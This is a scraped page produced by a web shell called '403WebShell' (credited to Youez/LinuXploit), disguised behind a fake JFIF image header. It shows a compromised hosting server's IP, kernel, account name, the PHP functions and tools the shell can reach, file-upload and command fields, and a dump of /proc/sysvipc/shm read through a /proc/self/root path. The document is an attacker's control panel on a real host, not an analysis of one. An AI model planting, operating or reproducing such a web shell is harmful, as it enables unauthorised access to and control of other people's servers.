????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.30.238  /  Your IP : 216.73.216.113
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0    3014656  1600                 43456 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028334                  8192                 36864
         0    3014657  1600                 65160 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028336                 12288                 53248
         0    3014658  1600                 86856 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028338                  8192                 81920
      5555          3   644                  1024  3683 1019585      0     0     0     0     0 1761765404 1761765404 1749147219                  4096                     0
         0    3014660  1600                108560 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028340                 12288                 98304
         0    3014661  1600                130312 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028342                  4096                126976
         0    3014662  1600                152008 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028344                 20480                135168
         0    3014663  1600                173712 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028346                 24576                151552
         0    3014664  1600                195408 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028348                 28672                167936
         0    3014665  1600                217112 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028350                 16384                204800
         0    3014666  1600                238816 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028353                 36864                204800
         0    3014667  1600                260544 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028355                 24576                237568
         0    3014668  1600                282240 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028357                 28672                253952
         0    3014669  1600                303944 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028359                 16384                290816
         0    3014670  1600                325632 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028361                 24576                303104
         0    3014671  1600                347328 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028363                 24576                323584
         0    3014672  1600                369016 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028365                 36864                335872
         0    3014673  1600                390704 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028367                 24576                368640
         0    3014674  1600                412400 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028369                102400                311296
         0    3014675  1600                434096 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028371                 49152                385024
   5432001    2588692   600                    56 3962673 2053848      6    26    26    26    26 1761778724 1761778724 1760077998                     0                  4096
         0    3014677  1600                455784 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028373                 57344                401408
         0    3014678  1600                477472 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028375                 28672                450560
         0    3014679  1600                499168 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028378                 40960                458752
         0    3014680  1600                520856 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028380                114688                409600
         0    3014681  1600                542544 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028382                 53248                491520
         0    3014682  1600                564240 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028384                 73728                491520
         0    3014683  1600                585936 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028386                 53248                536576
         0    3014684  1600                607632 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028388                 45056                565248
         0    3014685  1600                629336 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028390                 69632                561152
         0    3014686  1600                651040 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028392                 86016                565248
         0    3014687  1600                672744 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028394                139264                536576
         0    3014688  1600                694432 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028396                192512                503808
         0    3014689  1600                716128 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028398                 65536                651264
         0    3014690  1600                737816 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028404                 61440                679936
         0    3014691   600                759512 390597 2053747      2   475   468   475   468 1761778722 1761778722 1761028407                761856                     0
         0    3375141  1400                117556 1301451 1629248      2   484   479     0     0 1761774883          0 1761774882                118784                     0
         0    2981949  1600                   576 390592 2053747      6   475   468   475   468 1761778722 1761778722 1761028329                  4096                     0
         0    2981950  1600               1825056 390592 2053747      6   475   468   475   468 1761778722 1761778722 1761028329               1826816                     0
         0    2981951  1600                 21744 390597 2053747      1   475   468   475   468 1761778722 1761778722 1761028332                  4096                 20480

Youez - 2016 - github.com/yon3zu
LinuXploit